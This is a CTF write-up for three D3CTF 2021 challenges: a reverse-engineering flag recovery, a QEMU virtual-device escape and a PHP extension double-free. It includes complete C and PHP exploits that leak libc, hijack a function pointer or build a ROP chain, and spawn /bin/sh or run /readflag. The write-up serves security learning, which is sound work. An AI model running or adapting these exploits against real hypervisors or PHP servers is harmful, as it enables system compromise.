Github: https://github.com/Ex-Origin/ctf-writeups/tree/master/d3ctf2021.
Ancient
The program doesn't use CODE optimizations, so it's just mostly the same as the source, but with some unexpected junk codes. Remove those instructions, then we can disassemble it normally.
Address | Length | Original bytes | Patched bytes |
---|---|---|---|
0000000000401844 | 0x9 | 0x9 74 07 0F 80 87 48 83 C4 08 | 90 90 90 90 90 90 90 90 90 |
000000000040184F | 0x8 | 0x8 E8 02 00 00 00 0F 85 59 | 90 90 90 90 90 90 90 90 |
000000000040185B | 0x7 | 74 05 0F 48 83 C4 08 | 90 90 90 90 90 90 90 |
000000000040188F | 0x7 | 74 05 80 48 83 C4 08 | 90 90 90 90 90 90 90 |
At first, locating 0x401ed4
by the string Wrong. You fail to get it.
ex@ubuntu-hp:~/d3ctf/ancient$ ./ancient
This is an ancient string, it represents the origin of all binary characters, isn't it. Let me see, it says 0,1,2,3,4,5,6,7...
Please input the flag:
a
Wrong. You fail to get it.
It's marked at A
in disassembling the source below. Then according to the control flow
of this application, we can locate 0x401c93
, or a say on, B
.
__int64 __fastcall main(int a1, char **a2, char **a3)
{
...
v14 = malloc(0x170uLL);
sub_402110((__int64)&unk_407498, 16);
sub_402B60((__int64)&unk_407498);
v15 = 0;
sub_403500((__int64)v14, (__int64)&xmmword_407370, (_BYTE *)184, (__int64)&unk_407498, 126, 0);
int_value = 0;
v16 = *(_BYTE *)qword_407328;
if ( *(_BYTE *)qword_407328 )
{
v17 = 0LL;
v18 = 0;
C: do // count
{
if ( !v18 )
v18 = 1;
if ( v16 != v14[v17] )
break;
v15 += v18;
if ( v15 > 178 )
break;
v17 = v15;
v16 = *(_BYTE *)(qword_407328 + v15);
}
while ( v16 );
int_value = v15;
}
sub_401820(&int_value);
B: if ( int_value < 178 )
{ // wrong
if ( !(_BYTE)byte_407738 && __cxa_guard_acquire(&byte_407738) )
{
qword_407730 = 0x2E24004940415C79LL;
__cxa_atexit(sub_402070, &qword_407730, &unk_4070A8);
__cxa_guard_release(&byte_407738);
}
v19 = (const char *)&qword_407730;
if ( HIBYTE(qword_407730) )
{
LOBYTE(qword_407730) = qword_407730 ^ 0x2E;
BYTE1(qword_407730) ^= 0x2Eu;
BYTE2(qword_407730) ^= 0x2Eu;
BYTE3(qword_407730) ^= 0x2Eu;
BYTE4(qword_407730) ^= 0x2Eu;
BYTE5(qword_407730) ^= 0x2Eu;
BYTE6(qword_407730) ^= 0x2Eu;
HIBYTE(qword_407730) ^= 0x2Eu;
}
}
else
{
if ( !(_BYTE)byte_407728 && __cxa_guard_acquire(&byte_407728) )// success
{
*(_QWORD *)qword_407718 = 0xF5D5D4B4D4D5B7DLL;
word_407720 = 11812;
__cxa_atexit(sub_402060, qword_407718, &unk_4070A8);
__cxa_guard_release(&byte_407728);
}
v19 = qword_407718;
if ( HIBYTE(word_407720) )
{
qword_407718[0] ^= 0x2Eu;
qword_407718[1] ^= 0x2Eu;
qword_407718[2] ^= 0x2Eu;
qword_407718[3] ^= 0x2Eu;
qword_407718[4] ^= 0x2Eu;
qword_407718[5] ^= 0x2Eu;
qword_407718[6] ^= 0x2Eu;
qword_407718[7] ^= 0x2Eu;
LOBYTE(word_407720) = word_407720 ^ 0x2E;
HIBYTE(word_407720) ^= 0x2Eu;
}
}
v11 = strlen(v19);
output = (char *)v19; // success
}
else
{
A: if ( !(_BYTE)byte_407710 && __cxa_guard_acquire(&byte_407710) )
{
*(_OWORD *)str_ptr = xmmword_405030;
qword_407700 = 'p9mv~9vm';
dword_407708 = '\x19\x137m';
__cxa_atexit(sub_402050, str_ptr, &unk_4070A8);
__cxa_guard_release(&byte_407710);
}
sub_4020C0((__m128 *)str_ptr);
v11 = strlen(str_ptr);
output = str_ptr;
}
std::__ostream_insert<char,std::char_traits<char>>(std::cout, output, v11);
return 0LL;
}
At least, 178 or greater is required by the int_value
, that we can go to the
success
, according to the disassembling source above.
int_value
has been counted at 0x401bb3
(position C
), it can be
matched at most 178 times, so we must get the whole binary content which length is 178.
It's fixed result by sub_402110
and sub_402110
, I don't know the role in
the application clearly about sub_403500
, and guest it's just multiplication with two
big numbers. As the operation is stable that high bits don't affect the low bits, we can crack the
flag byte by byte.
Finally, we can get the flag.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
unsigned char key[] = {
0x54, 0x67, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x61, 0x6e, 0x20, 0x61,
0x6e, 0x63, 0x69, 0x65, 0x6e, 0x74, 0x20, 0x73, 0x74, 0x72, 0x69, 0x6e,
0x67, 0x2c, 0x20, 0x69, 0x74, 0x20, 0x72, 0x65, 0x70, 0x72, 0x65, 0x73,
0x65, 0x6e, 0x74, 0x73, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6f, 0x72, 0x69,
0x67, 0x69, 0x6e, 0x20, 0x6f, 0x66, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x62,
0x69, 0x6e, 0x61, 0x72, 0x79, 0x20, 0x63, 0x68, 0x61, 0x72, 0x61, 0x63,
0x74, 0x65, 0x72, 0x73, 0x2c, 0x20, 0x69, 0x73, 0x6e, 0x27, 0x74, 0x20,
0x69, 0x74, 0x2e, 0x20, 0x4c, 0x65, 0x74, 0x20, 0x6d, 0x65, 0x20, 0x73,
0x65, 0x65, 0x2c, 0x20, 0x69, 0x74, 0x20, 0x73, 0x61, 0x79, 0x73, 0x20,
0x30, 0x2c, 0x31, 0x2c, 0x32, 0x2c, 0x33, 0x2c, 0x34, 0x2c, 0x35, 0x2c,
0x36, 0x2c, 0x37, 0x2e, 0x2e, 0x2e, 0x67, 0xf3, 0xa3, 0xca, 0x23, 0x58,
0xa3, 0xd1, 0xf8, 0xc1, 0x96, 0xe3, 0xd7, 0x85, 0x85, 0xfe, 0xbe, 0x7b,
0xd2, 0x82, 0x59, 0xf4, 0xd8, 0xf0, 0x5f, 0xf5, 0xe2, 0x55, 0xe5, 0x2c,
0x14, 0xdc, 0xd6, 0xf4, 0x60, 0xf9, 0x89, 0x84, 0x0c, 0x70, 0x50, 0xb8,
0xf5, 0xde, 0x7f, 0xff, 0x5a, 0xc8, 0x8d, 0x61, 0xf0, 0x02};
unsigned int key_len = 178;
unsigned char fixed[0x1000];
unsigned char printable[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789";
#define LEN (sizeof(printable) - 1)
inline static int same(unsigned char *a, unsigned char *b)
{
int i;
for (i = 0; i < key_len; i++)
{
if (*a == *b)
{
a++;
b++;
}
else
{
break;
}
}
return i - 131;
}
int main()
{
int fd, i, ii, iii, offset, temp;
unsigned char output[0x800], input[0x800] = "This is an ancient string, it represents the origin of all binary characters, isn't it."
" Let me see, it says 0,1,2,3,4,5,6,7..."
"d3ctf{w0W_sEems_u_bRe4k_uP_tHe_H1DdeN_s7R_By_Ae1tH_c0De}";
fd = open("bin", O_RDONLY);
mmap((void *)0x400000, 32768, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_DENYWRITE, fd, 0);
close(fd);
*(size_t *)0x407080 = (size_t)malloc;
mprotect((void *)0x400000, 32768, PROT_EXEC | PROT_READ);
((void (*)(unsigned char *, int))0x402110)(fixed, 16);
((void (*)(unsigned char *))0x402B60)(fixed);
memset(output, 0, sizeof(output));
offset = 178;
printf("%c%c\n\n", input[offset - 2], input[offset - 1]);
for (i = 0; i < LEN; i++)
{
for (ii = 0; ii < LEN; ii++)
{
for (iii = 0; iii < LEN; iii++)
{
input[offset] = printable[i];
input[offset + 1] = printable[ii];
input[offset + 2] = printable[iii];
((void (*)(unsigned char *, int))0x402110)(fixed, 16);
((void (*)(unsigned char *))0x402B60)(fixed);
((void (*)(unsigned char *, unsigned char *, int, unsigned char *, int, int))0x403500)(output, input, 184, fixed, 126, 0);
temp = same(key, output);
if (44 <= temp)
{
printf("%d: %c%c%c\n", temp, printable[i], printable[ii], printable[iii]);
// exit(EXIT_SUCCESS);
}
}
}
}
return 0;
}
d3ctf{w0W_sEems_u_bRe4k_uP_tHe_H1DdeN_s7R_By_Ae1tH_c0De}
d3dev
It's a review based on the master of remilia
.
First of all, I run the Findcrypt
which is an IDA plugin and know it involves
TEA crypt
.
Address | Rules file | Name | String | Value |
---|---|---|---|---|
.text:00000000004D7B3A | global | TEAN_4D7B3A | $c0 | b' 7\xef\xc6' |
.text:00000000004D7CD9 | global | TEAN_4D7CD9 | $c0 | b' 7\xef\xc6' |
.text:00000000004D7B8C | global | TEA_DELTA_4D7B8C | $c1 | b'G\x86\xc8a' |
.text:00000000004D7CA6 | global | TEA_DELTA_4D7CA6 | $c1 | b'G\x86\xc8a' |
Then searching for the symbol about the plaintext of TEA crypt
by IDA, guessing rules of
the control with the help of debuger.
v3 = *((_QWORD *)opaque + *((_DWORD *)opaque + 689) + (unsigned int)(addr >> 3) + 347);
addr = rsi ; hwaddr
opaque = rdi ; void *
.text:00000000004D7B05 shr addr, 3
.text:00000000004D7B0D add esi, [opaque+0AC4h]
d3dev = rdi ; d3devState *
.text:00000000004D7B2A mov rax, [d3dev+rsi*8+0AD8h]
Guess the structure by static analysis:
struct opaque
00000ac0 unknown dd
00000ac4 buffer_offset dd
...
00000ad4 arg dd
00000ad8 buffer dq ? dup(?)
...
000012e0 tea_key dd 4 dup(?)
000012f0 func dq
...
We can get the key
from d3dev_pmio_read
.
uint64_t __fastcall d3dev_pmio_read(struct_opaque *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
if ( addr > 0x18 )
return -1LL;
switch ( (unsigned __int64)jpt_4D7D18 + jpt_4D7D18[addr] )
{
case 0uLL:
result = (unsigned int)opaque->unknown;
break;
case 8uLL:
result = (unsigned int)opaque->buffer_offset;
break;
case 0xCuLL:
result = (unsigned int)opaque->key[0];
break;
case 0x10uLL:
result = (unsigned int)opaque->key[1];
break;
case 0x14uLL:
result = (unsigned int)opaque->key[2];
break;
case 0x18uLL:
result = (unsigned int)opaque->key[3];
break;
default:
return -1LL;
}
return result;
}
And resetting key
is enabled by d3dev_pmio_write
.
void __fastcall d3dev_pmio_write(struct_opaque *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
int *v4; // rbp
if ( addr == 8 )
{
if ( val <= 0x100 )
opaque->buffer_offset = val;
}
else if ( addr > 8 )
{
if ( addr == 28 )
{
opaque->arg = val;
v4 = opaque->key;
do
*v4++ = opaque->func((char *)&opaque->arg);
while ( v4 != (int *)&opaque->func );
}
}
else if ( addr )
{
if ( addr == 4 )
{
*(_QWORD *)opaque->key = 0LL;
*(_QWORD *)&opaque->key[2] = 0LL;
}
}
else
{
opaque->unknown = val;
}
}
Although the length of buffer
is only 0x800 bytes, it will be changed when we increase
buffer_offset
. So we can get shell at that setting buffer_offset
into
0x100 which we can hijack the function pointer - func
.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/io.h>
char *mmio_mem;
inline static unsigned int mmio_read(unsigned int addr)
{
unsigned int *mmio = (unsigned int *)((size_t)mmio_mem + addr);
return *(mmio);
}
inline static void mmio_write(long addr, unsigned int val)
{
unsigned int *mmio = (unsigned int *)((size_t)mmio_mem + addr);
*(mmio) = val;
}
#define IO_PORT 0xc040
inline static size_t pmio_read(size_t addr)
{
size_t pmio = IO_PORT + addr;
return inl(pmio);
}
inline static void pmio_write(size_t addr, size_t val)
{
size_t pmio = IO_PORT + addr;
outl(val, pmio);
}
#define DELTA 0x61C88647
void tea_encrypt(uint32_t *v, uint32_t *k)
{
uint32_t v0 = v[0], v1 = v[1], sum = 0, i; /* set up */
uint32_t delta = DELTA; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++)
{ /* basic cycle start */
sum -= delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
} /* end cycle */
v[0] = v0;
v[1] = v1;
}
void tea_decrypt(uint32_t *v, uint32_t *k)
{
uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i; /* set up */
uint32_t delta = DELTA; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++)
{ /* basic cycle start */
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum += delta;
} /* end cycle */
v[0] = v0;
v[1] = v1;
}
size_t readword(size_t addr)
{
unsigned int key[4] = {0};
unsigned int value[2] = {0};
value[0] = mmio_read(addr);
value[1] = mmio_read(addr);
tea_encrypt(value, key);
return value[1] * 0x100000000 + value[0];
}
void writeword(size_t addr, size_t val)
{
unsigned int key[4] = {0};
unsigned int value[2] = {0};
value[0] = val;
value[1] = val >> 32;
tea_decrypt(value, key);
mmio_write(addr, value[0]);
mmio_write(addr, value[1]);
}
int main()
{
int mmio_fd;
size_t value;
size_t libc_addr, system_addr;
int i;
// Open and map I/O memory for the string device
mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
{
perror("open");
exit(EXIT_FAILURE);
}
mmio_mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
{
perror("mmap");
exit(EXIT_FAILURE);
}
iopl(3);
pmio_write(4, 0); // Set key to 0, 0, 0, 0
pmio_write(8, 0x100); // set buffer_offset = 0x100
libc_addr = readword(0x18) - 0x4aeb0;
printf("libc_addr: %#lx\n", libc_addr);
system_addr = libc_addr + 0x55410;
writeword(0x18, system_addr);
value = readword(0x18);
#if 1
pmio_write(8, 0); // set buffer_offset = 0x100
writeword(0, 0x2026262067616c66);
writeword(8, 0x68732f6e69622f);
pmio_write(28, 0x20746163); // system("cat ""flag && /bin/sh");
#else
pmio_write(28, 0x6873); // system("sh");
#endif
return 0;
}
hackphp
It's a review based on the master of haivk
.
Test each function.
hackphp_create:
hackphp_create(0x61);
.text:00000000000013A7 call __emalloc
RIP 0x7f5fb19603a7 (zif_hackphp_create+55) ◂— call 0x7f5fb19601f0
───────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────
► 0x7f5fb19603a7 <zif_hackphp_create+55> call _emalloc@plt <_emalloc@plt>
rdi: 0x61
hackphp_edit:
hackphp_create(0x61);
hackphp_edit("abcd");
.text:000000000000150A call _memcpy
RIP 0x7f032c3d450a (zif_hackphp_edit+138) ◂— call 0x7f032c3d41c0
───────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────
► 0x7f032c3d450a <zif_hackphp_edit+138> call memcpy@plt <memcpy@plt>
dest: 0x7f0329c7d000 —▸ 0x7f0329c7d070 —▸ 0x7f0329c7d0e0 —▸ 0x7f0329c7d150 —▸ 0x7f0329c7d1c0 ◂— ...
src: 0x7f0329c02538 ◂— 0x7f0064636261 /* 'abcd' */
n: 0x4
hackphp_get:
hackphp_create(0x61);
hackphp_edit("abcd");
$v = hackphp_get();
var_dump($v);
$ php exp.php
string(6) "abcd�"
It will form complete exploitation with the double free
that is contained in the module.
In the end, leaking and hijacking.
<?php
$buf_addr = 0;
$c = 0;
function str_to_long($arg_str){
$result = ord($arg_str[0]) + (ord($arg_str[1]) << 8) + (ord($arg_str[2]) << 16) + (ord($arg_str[3]) << 24) +
(ord($arg_str[4]) << 32) + (ord($arg_str[5]) << 40) + (ord($arg_str[6]) << 48) + (ord($arg_str[7]) << 56);
return $result;
}
function readword($addr){
global $buf_addr;
global $c;
if($buf_addr){
if($addr > $buf_addr){
$offset = $addr - $buf_addr;
}else{
$offset = $addr - $buf_addr + 1;
}
return ord($c->var[0 + $offset]) + (ord($c->var[1 + $offset]) << 8) + (ord($c->var[2 + $offset]) << 16) + (ord($c->var[3 + $offset]) << 24) +
(ord($c->var[4 + $offset]) << 32) + (ord($c->var[5 + $offset]) << 40) + (ord($c->var[6 + $offset]) << 48) + (ord($c->var[7 + $offset]) << 56);
}else{
return 0;
}
}
function writeword($addr, $value){
global $buf_addr;
global $c;
if($buf_addr){
$offset = $addr - $buf_addr;
$c->var[0 + $offset] = chr(($value >> 0) & 0xff);
$c->var[1 + $offset] = chr(($value >> 8) & 0xff);
$c->var[2 + $offset] = chr(($value >> 16) & 0xff);
$c->var[3 + $offset] = chr(($value >> 24) & 0xff);
$c->var[4 + $offset] = chr(($value >> 32) & 0xff);
$c->var[5 + $offset] = chr(($value >> 40) & 0xff);
$c->var[6 + $offset] = chr(($value >> 48) & 0xff);
$c->var[7 + $offset] = chr(($value >> 56) & 0xff);
}
}
class phpClass {
var $var = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
function myfunc ($str) {
echo $str;
}
}
hackphp_create(0x38); // buf = emalloc(0x38); free(buf);
$d = new phpClass(); // $d = emalloc(0x38);
hackphp_edit("aaaaaaaaaaaaaaaabbbbbbbb");
$r = hackphp_get();
$php_base_addr = str_to_long(substr($r, 0x18) . "\0\0\0\0\0\0\0\0") - 0xffe520;
echo "php_base_addr: ";
echo dechex($php_base_addr). PHP_EOL;
hackphp_create(0x38); // buf = emalloc(0x38); free(buf);
$d = new phpClass(); // $d = emalloc(0x38);
hackphp_edit("aaaaaaaaaaaaaaaaa");
$r = hackphp_get();
$memory_addr = str_to_long(substr($r, 0x10) . "\0\0\0\0\0\0\0\0") - 0x61;
echo "memory_addr: ";
echo dechex($memory_addr). PHP_EOL;
$buf_addr = $memory_addr + 0x85ea0;
echo "buf_addr: ";
echo dechex($buf_addr). PHP_EOL;
$buf_addr = $buf_addr + 0x18;
$c = new phpClass(); // emalloc(0x38);
hackphp_create(0x98); // buf = emalloc(0x98); free(buf);
$c->var[0] = 'b'; // malloc(0x98) -> buf
/* Hijack length to -1 */
hackphp_edit("\x01\x00\x00\x00\x06\x00\x00\x00" . "\x00\x00\x00\x00\x00\x00\x00\x00" . "\xff\xff\xff\xff\xff\xff\xff\xff");
$libc_addr = readword($php_base_addr + 0xFFF5E0 ) - 0x85a90;
echo "libc_addr: ";
echo dechex($libc_addr). PHP_EOL;
$system_addr = $libc_addr + 0x55410;
echo "system_addr: ";
echo dechex($system_addr). PHP_EOL;
$_main_ret = $php_base_addr + 0x51d402;
echo "_main_ret: ";
echo dechex($_main_ret). PHP_EOL;
$stack_addr = readword($libc_addr + 0x1ec440) & (~0xf);
echo "stack_addr: ";
echo dechex($stack_addr). PHP_EOL;
$stack = 0;
for($i = 0; $i < 0x100000; $i += 8){
if(readword($stack_addr - $i) == $_main_ret){
$stack = $stack_addr - $i;
echo "stack: ";
echo dechex($stack). PHP_EOL;
break;
}
}
if(1){
writeword($stack + 0, $libc_addr + 0x0000000000026b72); // pop rdi ; ret
writeword($stack + 8, $stack + 64); // "/readflag"
writeword($stack + 16, $libc_addr + 0x0000000000027529); // pop rsi ; ret
writeword($stack + 24, $stack + 80); // ["/readflag", ""]
writeword($stack + 32, $libc_addr + 0x000000000011c371); // pop rdx; pop r12; ret;
writeword($stack + 40, $stack + 48); // [""]
writeword($stack + 48, 0); // ""
writeword($stack + 56, $libc_addr + 0xe62f0); // execve("/readflag", ["/readflag", ""], [""])
writeword($stack + 64, 7020098500480561711); // /readfla
writeword($stack + 72, 103); // /g
writeword($stack + 80, $stack + 64); // "/readflag"
writeword($stack + 88, 0); // ""
}else{
writeword($stack + 0, $libc_addr + 0x0000000000026b72); // pop rdi ; ret
writeword($stack + 8, $stack + 64); // "/bin/sh"
writeword($stack + 16, $libc_addr + 0x0000000000027529); // pop rsi ; ret
writeword($stack + 24, $stack + 80); // ["/bin/sh", ""]
writeword($stack + 32, $libc_addr + 0x000000000011c371); // pop rdx; pop r12; ret;
writeword($stack + 40, $stack + 48); // [""]
writeword($stack + 48, 0); // ""
writeword($stack + 56, $libc_addr + 0xe62f0); // execve("/bin/sh", ["/bin/sh", ""], [""])
writeword($stack + 64, 0x68732f6e69622f); // /bin/sh
writeword($stack + 72, 0); //
writeword($stack + 80, $stack + 64); // "/bin/sh"
writeword($stack + 88, 0); // ""
}
?>